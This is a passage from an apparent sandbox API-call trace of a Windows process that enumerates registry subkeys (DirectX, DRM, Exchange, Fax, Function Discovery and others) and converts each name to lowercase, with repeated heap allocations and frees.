dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x38c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0028.163] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.163] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.163] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x38b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.164] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x38b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x38c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.164] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x38b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.164] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x38b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x38c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0028.164] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.164] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.165] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x38b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.165] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x38b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x38c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.165] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x38b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x38c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.165] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.165] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x38b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.165] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x38c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.166] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x38b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.166] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x38b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x38c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.166] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x38b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.166] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.166] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x38b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0028.166] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x38c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.167] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x38b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.167] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x38b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x38c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.167] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x38b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0028.167] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.167] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.168] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x38b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.168] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x38b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.168] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x38b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.168] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.168] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x38b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0028.168] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.169] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0028.170] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.170] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x38b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0028.170] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.170] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x38c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0028.170] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.170] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bbb8) returned 1 [0028.170] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x38b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0028.170] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bbb8 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.170] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x38c120, cbMultiByte=18, lpDefaultChar=0x0, 